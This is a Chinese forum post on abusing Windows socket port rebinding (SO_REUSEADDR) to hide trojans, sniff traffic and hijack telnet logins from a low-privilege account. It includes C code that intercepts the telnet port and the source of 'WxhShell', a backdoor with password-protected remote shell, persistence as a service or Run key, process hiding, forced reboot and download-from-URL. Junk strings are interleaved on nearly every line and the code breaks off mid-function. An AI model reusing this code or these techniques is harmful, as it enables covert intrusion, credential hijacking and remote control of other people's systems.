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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3Hom0g,V4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6&eXQl  
PFh ^Z L  
  saddr.sin_family = AF_INET; cu0IFNF}[  
=79R;|5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z,38eQpM  
JF4A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -Qn7+?P  
]19VEH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2L^)k?9>g+  
{G:y?q'z  
  这意味着什么?意味着可以进行如下的攻击: &oS$<  
_]>1(8_N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FI$:R  
D%YgS$p[M$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MCT1ZZpPr  
Fr8GGN~/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |HAJDhM,l  
G:1'}RC :  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mUh]`/MK$  
Iv6 q(c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {q?&h'#y  
EMW6'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bvn3:+(47  
neDXzMxF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G:=hg6 '  
ZYwcB]xE z  
  #include WD[eoi  
  #include 7w/IHML  
  #include #dA$k+3  
  #include    \WCQ>c?~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I9*cEZ!l=e  
  int main() n~*".ZC'Y  
  { %X{EupiFA  
  WORD wVersionRequested; 8-#%l~dr  
  DWORD ret; $RPW/Lyiq  
  WSADATA wsaData; g\JJkXjD#  
  BOOL val; V0\[|E;F  
  SOCKADDR_IN saddr; (CmK> "C+  
  SOCKADDR_IN scaddr; >M,oyM" s  
  int err; Zh<;r;2  
  SOCKET s; )|F|\6:ne  
  SOCKET sc; +T+@g8S  
  int caddsize; []>'Dw_r  
  HANDLE mt; kz"uTJK  
  DWORD tid;   #&&T1;z"#  
  wVersionRequested = MAKEWORD( 2, 2 ); w )R5P[b  
  err = WSAStartup( wVersionRequested, &wsaData ); JbMTULA  
  if ( err != 0 ) { _/s"VYFZ  
  printf("error!WSAStartup failed!\n"); i6`"e[aT[o  
  return -1; @p+;iS1}  
  } N4!`iS Y  
  saddr.sin_family = AF_INET; &v{Ehkr*  
   zH8E,)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7~/cz_  
%z><)7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iQwQ5m!d &  
  saddr.sin_port = htons(23); Eah6"j!B8n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OU[<\d  
  { I{`70  
  printf("error!socket failed!\n"); wHc my  
  return -1; HGDrH   
  } gb ga"WO  
  val = TRUE; 200yN+ec  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o\IMYT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u epyH  
  { qLN^9PdEE  
  printf("error!setsockopt failed!\n"); c3A\~tHW  
  return -1; }htjT/Nm  
  } 0lfK} a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "F<CGSo  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BX,)G HE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Aw o)a8e  
#%0V`BS7n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~C.*Vc?|  
  { l4Xz r:]  
  ret=GetLastError(); {meX2Z4  
  printf("error!bind failed!\n"); nM )C^$3<t  
  return -1; O !L`0 =%c  
  } $B+| &]a  
  listen(s,2); *eVq(R9?T  
  while(1) tli.g  
  { )ZJvx%@i  
  caddsize = sizeof(scaddr); c7Z4u|G  
  //接受连接请求 |?`5~f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;?-AFd\i  
  if(sc!=INVALID_SOCKET) o`?rj!\  
  { woYD &Oml  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ie}O ZM  
  if(mt==NULL) 5,RUPaE  
  { R?2sbK4Cz  
  printf("Thread Creat Failed!\n"); ]T4/dk&|o^  
  break; kIrrbD  
  } yVd^A2  
  } -EjXVn! vQ  
  CloseHandle(mt); `2~>$Tr  
  } .J"N}  
  closesocket(s); ]rmBM  
  WSACleanup(); 5\-uo&#  
  return 0; \U~4b_aN  
  }   S:\i M:  
  DWORD WINAPI ClientThread(LPVOID lpParam) )xGAe#E~j  
  { !liV Y]  
  SOCKET ss = (SOCKET)lpParam; 30Q p^)K  
  SOCKET sc; e%4?-{(  
  unsigned char buf[4096]; TOYK'|lwM  
  SOCKADDR_IN saddr; W L$^B@gXQ  
  long num; INZVe(z  
  DWORD val; yqK4 "F&  
  DWORD ret;  6 K $mW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \u3\TJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Pf?kNJ*Tv)  
  saddr.sin_family = AF_INET; z`y9<+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YeX*IZX8  
  saddr.sin_port = htons(23); KaGUpHw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &c`-/8c  
  { dj|5'<l2  
  printf("error!socket failed!\n"); ;|N:F G  
  return -1; Tt[zSlIMx  
  } )M*w\'M  
  val = 100; TQ Vk;&A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [}X|&`'i  
  { ?mQ^"9^XS  
  ret = GetLastError(); GN.O a$  
  return -1; |Lq8cA)|y  
  } 3P>gDQP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _`$LdqgE  
  {  )vr@:PE  
  ret = GetLastError(); J( }2Ua_  
  return -1; @u3`lhUcT  
  } 6Z/`p~e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;`9f<d#\  
  { Z5{a7U4z_  
  printf("error!socket connect failed!\n"); &dtk&P{  
  closesocket(sc); Ycm)PU["  
  closesocket(ss); R+sT &d  
  return -1; FB=oGgwwq  
  } R{hX--|j  
  while(1) 5:Qz  
  { od;-D~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o3ZN0j69|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l/$GF|`U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vs>Pv$kW  
  num = recv(ss,buf,4096,0); w7nt $L5  
  if(num>0) #XV=,81w  
  send(sc,buf,num,0); sE9FT#iE  
  else if(num==0) 8 WP>u8&  
  break; dWY%bb  
  num = recv(sc,buf,4096,0); &}ZmT>q`$  
  if(num>0) D{|qP nE4  
  send(ss,buf,num,0); E3L?6Qfx>  
  else if(num==0) vN v?trw  
  break; fF:57*ys  
  } -F[8 ZiZ  
  closesocket(ss); 8$Q`wRt(%  
  closesocket(sc); :-&|QVH  
  return 0 ; -"(*'hD  
  } .@dC]$2=  
61\u{@o$  
f *ZU a  
========================================================== 7AG|'s['=  
,RP-)j"Wff  
下边附上一个代码,,WXhSHELL l,wlxh$}(  
4Nm>5*]  
========================================================== >hKsj{=R7  
^Fk;t  
#include "stdafx.h" mDD.D3RS  
L aTcBcI  
#include <stdio.h> tobE3Od4  
#include <string.h> UuG%5 ZC  
#include <windows.h> F[qXIL)  
#include <winsock2.h> \j)Evjw  
#include <winsvc.h> -K"'F`;W  
#include <urlmon.h> 8(3(kZxS  
iT@` dEZ .  
#pragma comment (lib, "Ws2_32.lib") $QX$rN  
#pragma comment (lib, "urlmon.lib") &|SWy 2 N  
]A4=/6`g?b  
#define MAX_USER   100 // 最大客户端连接数 {+N< 9(O  
#define BUF_SOCK   200 // sock buffer Z:b?^u4.  
#define KEY_BUFF   255 // 输入 buffer EZtU6kW"  
Xj?Wvt  
#define REBOOT     0   // 重启 QxT'\7f  
#define SHUTDOWN   1   // 关机 ~C-Sr@ a?/  
*miG<  
#define DEF_PORT   5000 // 监听端口 #ydold{F  
#J5BHY~  
#define REG_LEN     16   // 注册表键长度 [hJ1]RW8  
#define SVC_LEN     80   // NT服务名长度 6fwNlC/9  
01bCP  
// 从dll定义API $Dg-;I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l![M,8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~NGM6+9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rOIb9:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i4C{3J^  
?2<QoS  
// wxhshell配置信息 ",r v%i2 f  
struct WSCFG { G  hM  
  int ws_port;         // 监听端口 #h!+b  
  char ws_passstr[REG_LEN]; // 口令 c '|*{%<e2  
  int ws_autoins;       // 安装标记, 1=yes 0=no |jsI-?%8J  
  char ws_regname[REG_LEN]; // 注册表键名 ktu?-?#0,  
  char ws_svcname[REG_LEN]; // 服务名 RK# 6JfC3X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YMGy-]!o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X<ex >sM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;W|kc</R*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UhB +c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m l`xLZN>L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E4#{&sRT  
\0@DOW22C  
}; OM'iJB6=  
8jK=A2pTa  
// default Wxhshell configuration glAS$<  
struct WSCFG wscfg={DEF_PORT, eSPS3|YYn  
    "xuhuanlingzhe", $KcAB0 B8  
    1, +]l?JKV  
    "Wxhshell", uJ`N'`Z  
    "Wxhshell", M-WSdG[AJ  
            "WxhShell Service", ulR yt^bx|  
    "Wrsky Windows CmdShell Service", .EYL  
    "Please Input Your Password: ", SX3'|'-  
  1, dT`nR"  
  "http://www.wrsky.com/wxhshell.exe", $-_" SWG.  
  "Wxhshell.exe" J%bNt)K}  
    }; X)g X9DA  
cIug~ x>  
// 消息定义模块 --HDEc|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KdNo'*;U]_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (}#&HE<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b,~'wm8:A  
char *msg_ws_ext="\n\rExit."; IRW0.'Dn  
char *msg_ws_end="\n\rQuit."; b1xE;0uR  
char *msg_ws_boot="\n\rReboot..."; gI:g/ R  
char *msg_ws_poff="\n\rShutdown..."; !G%!zNA S  
char *msg_ws_down="\n\rSave to "; bGh&@&dHr  
'r'=%u$1C  
char *msg_ws_err="\n\rErr!"; &oL"AJU  
char *msg_ws_ok="\n\rOK!"; tqZ91QpW  
s/1r{;q  
char ExeFile[MAX_PATH]; 88Pt"[{1  
int nUser = 0; hV3]1E21"  
HANDLE handles[MAX_USER]; ]4rmQAS7"  
int OsIsNt; g4W$MI  
vc#o(?g  
SERVICE_STATUS       serviceStatus; b[vE!lJEq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rtf<UhUn  
u5CSx'h]  
// 函数声明 I0-1Hr  
int Install(void); Kq7r+ A  
int Uninstall(void); L5hF-Ek! 3  
int DownloadFile(char *sURL, SOCKET wsh); z$<=8ox8e  
int Boot(int flag); A;!5c;ftj,  
void HideProc(void); [bLKjD  
int GetOsVer(void); OPvPP>0*8  
int Wxhshell(SOCKET wsl); mQj#\<*  
void TalkWithClient(void *cs); 4vg,g(qi<  
int CmdShell(SOCKET sock); O"9t,B>=i  
int StartFromService(void); zJ`u>:*$  
int StartWxhshell(LPSTR lpCmdLine); ,7nu;fOT[  
(nqhX<T>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jMT[+f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r$<!?Z  
-J]?M  
// 数据结构和表定义 0GMb?/   
SERVICE_TABLE_ENTRY DispatchTable[] = }3 /io0"D  
{ J~x]~}V&  
{wscfg.ws_svcname, NTServiceMain}, t!D'ZLw  
{NULL, NULL} ?!ap @)9  
}; Ust +g4  
:GvC#2 p  
// 自我安装  ;LS.  
int Install(void) -6MPls+  
{ -=-^rQx9  
  char svExeFile[MAX_PATH]; sBlq)h;G?6  
  HKEY key; lh-.I]>&`  
  strcpy(svExeFile,ExeFile); Vy& X1lG:  
n'rq  
// 如果是win9x系统,修改注册表设为自启动 TF%n1H-sF  
if(!OsIsNt) { c((3B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (JU8F-/9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (4Db%Iw  
  RegCloseKey(key); za>%hZf\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P, x" ![6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |E13W  
  RegCloseKey(key); k(f),_  
  return 0; 1P]J3o  
    } F%L"Q>aHW  
  } Eu |/pH=:  
} fMwF|;  
else { qJ" (:~  
.J.}}"+U  
// 如果是NT以上系统,安装为系统服务 :7@[=n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8hV]t'/;  
if (schSCManager!=0) hn.(pI1  
{ *gmc6xY  
  SC_HANDLE schService = CreateService TJ)Nr*U3_  
  ( ->#wDL!6  
  schSCManager, sta/i?n  
  wscfg.ws_svcname, s-#@t  
  wscfg.ws_svcdisp, uNewWtUb(  
  SERVICE_ALL_ACCESS, ErN[maix#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ' !huU   
  SERVICE_AUTO_START, hLfWDf*T|  
  SERVICE_ERROR_NORMAL,  2  
  svExeFile, I/'>MDB!  
  NULL, P]"@3Z&w  
  NULL, ?;=7{E j  
  NULL, 7L+Wj }m  
  NULL, *wAX&+);  
  NULL E[hSL#0  
  ); do`'K3a"  
  if (schService!=0) }51QUFhL0  
  { ^uo,LTq+  
  CloseServiceHandle(schService); padV|hF3(e  
  CloseServiceHandle(schSCManager); YBY;$&9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6cg,L:j#  
  strcat(svExeFile,wscfg.ws_svcname); 9u~C?w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L^u|= 9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zt2#K  
  RegCloseKey(key); H28-;>'`  
  return 0; M"mvPr9  
    }  WLWfe-  
  } lf\"6VIsR  
  CloseServiceHandle(schSCManager); /XG7M=A$o  
} =ZHN]PP  
} yI=nu53BV  
Z4 z|B&  
return 1; (9bU\4F\  
} h-.^*=]R6  
uA`e  
// 自我卸载 vkLt#yj~  
int Uninstall(void) W)`>'X`  
{ EQnU:a  
  HKEY key; C&F% j.<  
kFJ]F |^7  
if(!OsIsNt) { 7<kr|-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w2$ L;q  
  RegDeleteValue(key,wscfg.ws_regname); 2C0j.Ib  
  RegCloseKey(key); 2SC'Z>A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p;[.&o J  
  RegDeleteValue(key,wscfg.ws_regname); H/f}t w  
  RegCloseKey(key); i Q3wi  
  return 0; K[SzE{5=P  
  } ldG8hK  
} HJr*\%D}1  
} MPp:EH  
else { ( *26aMp  
YTgT2w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vU/sQt8  
if (schSCManager!=0) qHrIs-NR  
{ 5m;pHgkb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [)Ia Xa  
  if (schService!=0) "6e3Mj\  
  { >$<Q:o}^  
  if(DeleteService(schService)!=0) { zBrIhL]95  
  CloseServiceHandle(schService); tIA)LF  
  CloseServiceHandle(schSCManager); lYS4Q`z$  
  return 0; q q^[(n  
  } *~`oA~-Q  
  CloseServiceHandle(schService); : Q,O:  
  } Z(E .F,k  
  CloseServiceHandle(schSCManager); bz&9]% S<  
} 9<Zm}PE32  
} VQ~eg wJL  
I%?M9y.u6  
return 1; Q1h v2*/U  
} N9c#N%cu  
T~>&m~} +  
// 从指定url下载文件 U:/_T>f%  
int DownloadFile(char *sURL, SOCKET wsh) v@X[0J_8  
{ Mc  
  HRESULT hr; oOQan  
char seps[]= "/"; r|jBKq~  
char *token; qyIy xJ  
char *file; 6{Bvl[mhI  
char myURL[MAX_PATH]; M~sP|Ha"+  
char myFILE[MAX_PATH]; gi A(VUwI>  
BZQJ@lk5  
strcpy(myURL,sURL); c1]\.s  
  token=strtok(myURL,seps); (ds*$]  
  while(token!=NULL) fQU_A  
  { a.<!>o<t:  
    file=token; @S012} xH  
  token=strtok(NULL,seps); [o'}R`5)  
  } E;a9RV|  
WsM/-P1Y  
GetCurrentDirectory(MAX_PATH,myFILE); bF@iO316H  
strcat(myFILE, "\\"); ^w RD|  
strcat(myFILE, file); |?fc]dl1]  
  send(wsh,myFILE,strlen(myFILE),0); KueI*\ p  
send(wsh,"...",3,0); iow8H' F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =66,$~g{  
  if(hr==S_OK) ]o8~b-  
return 0; V[| k:($  
else RML'C:1  
return 1; lce~6}  
!hPe*pPVV)  
} ^q~.5c|  
(7aE!r\Ab  
// 系统电源模块 Bq:: 5,v  
int Boot(int flag) 7"_g X  
{ I'cM\^/h  
  HANDLE hToken; ,wra f#UdP  
  TOKEN_PRIVILEGES tkp; HQ|{!P\/?U  
LZ9IE>sj  
  if(OsIsNt) { 6~+?DIc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *Oe;JqQkK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7w"YCRKh  
    tkp.PrivilegeCount = 1; {' |yb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T|nN.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qo;F]v*pkK  
if(flag==REBOOT) { Z$@XMq!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Sytx9`G 5  
  return 0; I=`efc]T  
} !FnH;  
else { 2TC7${^9}J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xp3cYS*u  
  return 0; dv \ oVD  
} d7QQ5FiB  
  } 4VL]v9  
  else { xZ"kJ'C4}  
if(flag==REBOOT) { t #g6rh&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4fzM%ku  
  return 0; z[, `  
} $VJ=A<  
else { >^Z!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ph1veD<ZZ  
  return 0; ? Kn~fs8  
} k}Vu!+cz  
} Ol@ YSkd  
\+w -{"u$  
return 1; V/!8q`lYNJ  
} ]pA}h. R#-  
A&0sD}I\K  
// win9x进程隐藏模块 Uz!cVs?-  
void HideProc(void) 7,"1%^tU  
{ mY1$N}8fm  
-r82'3]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l>9ZAI\^  
  if ( hKernel != NULL ) m; LeaD}0  
  {  HPj7i;?O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5k}UXRB?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o'  DXd[y  
    FreeLibrary(hKernel); W,>;`>  
  } R=M${u<t  
{Z|.-~W  
return; CLD*\)QD\  
} HgX4RSU  
UkL'h&J~  
// 获取操作系统版本 f-6E>  
int GetOsVer(void) `}u~nu<  
{ -OuMC&  
  OSVERSIONINFO winfo; [XQoag;!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #PmF@ CHR  
  GetVersionEx(&winfo); 2{h9a0b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %P9Zx!i>  
  return 1; @ B3@M  
  else Tr}c]IP*  
  return 0; an<tupi[E  
} ;comL29l2`  
W~QZ(:IK  
// 客户端句柄模块 +kl@`&ga  
int Wxhshell(SOCKET wsl) TO)wjF_  
{ T, gMc  
  SOCKET wsh; ]?Ru~N}  
  struct sockaddr_in client; *pv hkJ g(  
  DWORD myID; }qXi;u))  
FUm-Fp  
  while(nUser<MAX_USER) ) f'cy@b   
{ i@_|18F]`  
  int nSize=sizeof(client); M ~!*PCd5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (F7!&]8%  
  if(wsh==INVALID_SOCKET) return 1; I\DT(9 'E  
rYq8OZLi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Kt?; y ;  
if(handles[nUser]==0) '89D62\89  
  closesocket(wsh); `&>!a  
else YrgwR  
  nUser++; G0//P .#  
  } z0Gh |N@)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yZ+o7?(2p  
P*(lc:  
  return 0; }`  
} `)H.TMI   
=J?<M?ugf  
// 关闭 socket 4- 6'  
void CloseIt(SOCKET wsh) )r1Z}X(#d  
{ +2W#= G  
closesocket(wsh); %-T]!3"n  
nUser--; Tj*zlb4  
ExitThread(0); -D.6@@%Kc}  
} JT<Ia  
>1mCjP  
// 客户端请求句柄 o,Ew7~u  
void TalkWithClient(void *cs) XUUS N  
{ Khw!+!(H  
IEeh)aj[  
  SOCKET wsh=(SOCKET)cs; Q:kpaMA1P  
  char pwd[SVC_LEN]; %r~TMU2"  
  char cmd[KEY_BUFF]; /5r[M=_ihr  
char chr[1]; .f&,~$e4  
int i,j; I[<C)IG  
35jP</  
  while (nUser < MAX_USER) { WFN5&7$W  
F/RV{} 17E  
if(wscfg.ws_passstr) { }(TZ}* d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o &LNtl;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -F|(Y1OE  
  //ZeroMemory(pwd,KEY_BUFF); s bW`  
      i=0; ^O[q C X  
  while(i<SVC_LEN) { <h7C_^L10\  
)n|:9hc  
  // 设置超时 vM\8>p*U  
  fd_set FdRead; ~"}-cl,  
  struct timeval TimeOut; {v]A`u)  
  FD_ZERO(&FdRead); c+|,2e 0T  
  FD_SET(wsh,&FdRead); %qfEFhRC  
  TimeOut.tv_sec=8; >48zRi\N  
  TimeOut.tv_usec=0; I#S6k%-'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0Km{fZYq7;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {?BxVDD07  
|'=R`@w~0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jr@<-.  
  pwd=chr[0]; pU`Q[HOs  
  if(chr[0]==0xd || chr[0]==0xa) { O&\;BF5:R  
  pwd=0; aCFO ]  
  break; cy/;qd+!M  
  } &Cdk%@Tj]B  
  i++; ~c3!,C  
    } P7"g/j""  
b^5rV5d  
  // 如果是非法用户,关闭 socket MWsBZJRr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7ktf =Y  
} /_w oCLwQ#  
}3^t,>I=,6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t~ Q {\!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A'6>"=ziP  
s'fHh G6  
while(1) { g;eMsoJG  
PS!f&IY}[.  
  ZeroMemory(cmd,KEY_BUFF); SukRJvi  
RNp3lXf O  
      // 自动支持客户端 telnet标准   #th^\pV  
  j=0; $0sU h]7y  
  while(j<KEY_BUFF) { zn>*^h0B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ry[VEn>C1  
  cmd[j]=chr[0]; x@Z?DS$)  
  if(chr[0]==0xa || chr[0]==0xd) { =f{V<i~q  
  cmd[j]=0; f(7 /  
  break; !}Cd_tj6  
  } oC.:mI  
  j++; ~0t] `<y=  
    } tX&Dum$  
{&"rv<p  
  // 下载文件 -&D~TL#  
  if(strstr(cmd,"http://")) { "F}a nPY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qS|bpC0x  
  if(DownloadFile(cmd,wsh)) *#+XfOtF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |AuN5|obI  
  else Nx;U]O6A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?7/n s>}  
  } ,H1j&]E!  
  else { "f(iQI  
z';p275  
    switch(cmd[0]) { r^VH [c@c  
  hf8 =r5j=  
  // 帮助 n4qj"x Q  
  case '?': { .& B_\*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =MRg  
    break; W!2(Ph*  
  } 9]Uvy|  
  // 安装 Bj;Fy9[yb  
  case 'i': { AnfJyltS  
    if(Install()) $^y6>@~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T Jp(  
    else QrHI}r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [F*t2 -ta  
    break; X'IW &^kI  
    } 'kL>F&|  
  // 卸载 {Z3B#,V(g  
  case 'r': { (p-a;.Twj  
    if(Uninstall()) N3TkRJZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c*9RzD#Zj  
    else x'+lNlv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k2" Z:\?z  
    break; C5\bnk{  
    } <hkg~4EKc  
  // 显示 wxhshell 所在路径 ~:D}L   
  case 'p': {  }aRV)F  
    char svExeFile[MAX_PATH]; 959&I0=g"  
    strcpy(svExeFile,"\n\r"); J}hi)k  
      strcat(svExeFile,ExeFile); Gyk>5Q}}  
        send(wsh,svExeFile,strlen(svExeFile),0); IO/2iSbW  
    break; ABSA le  
    } 88$G14aXEk  
  // 重启 1K"``EvNB  
  case 'b': { KFkKr>S :  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "$;=8O5O  
    if(Boot(REBOOT)) "/[-U;ck  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2d>kc2=*  
    else { ,i;kAy)  
    closesocket(wsh); fF;Oz"I{\  
    ExitThread(0); z0t6}E<VIR  
    } nG1 mx/w  
    break; UsNr$MO {  
    } d>M&jSCL  
  // 关机 ;m,lS_[c  
  case 'd': { MP-A^QT  
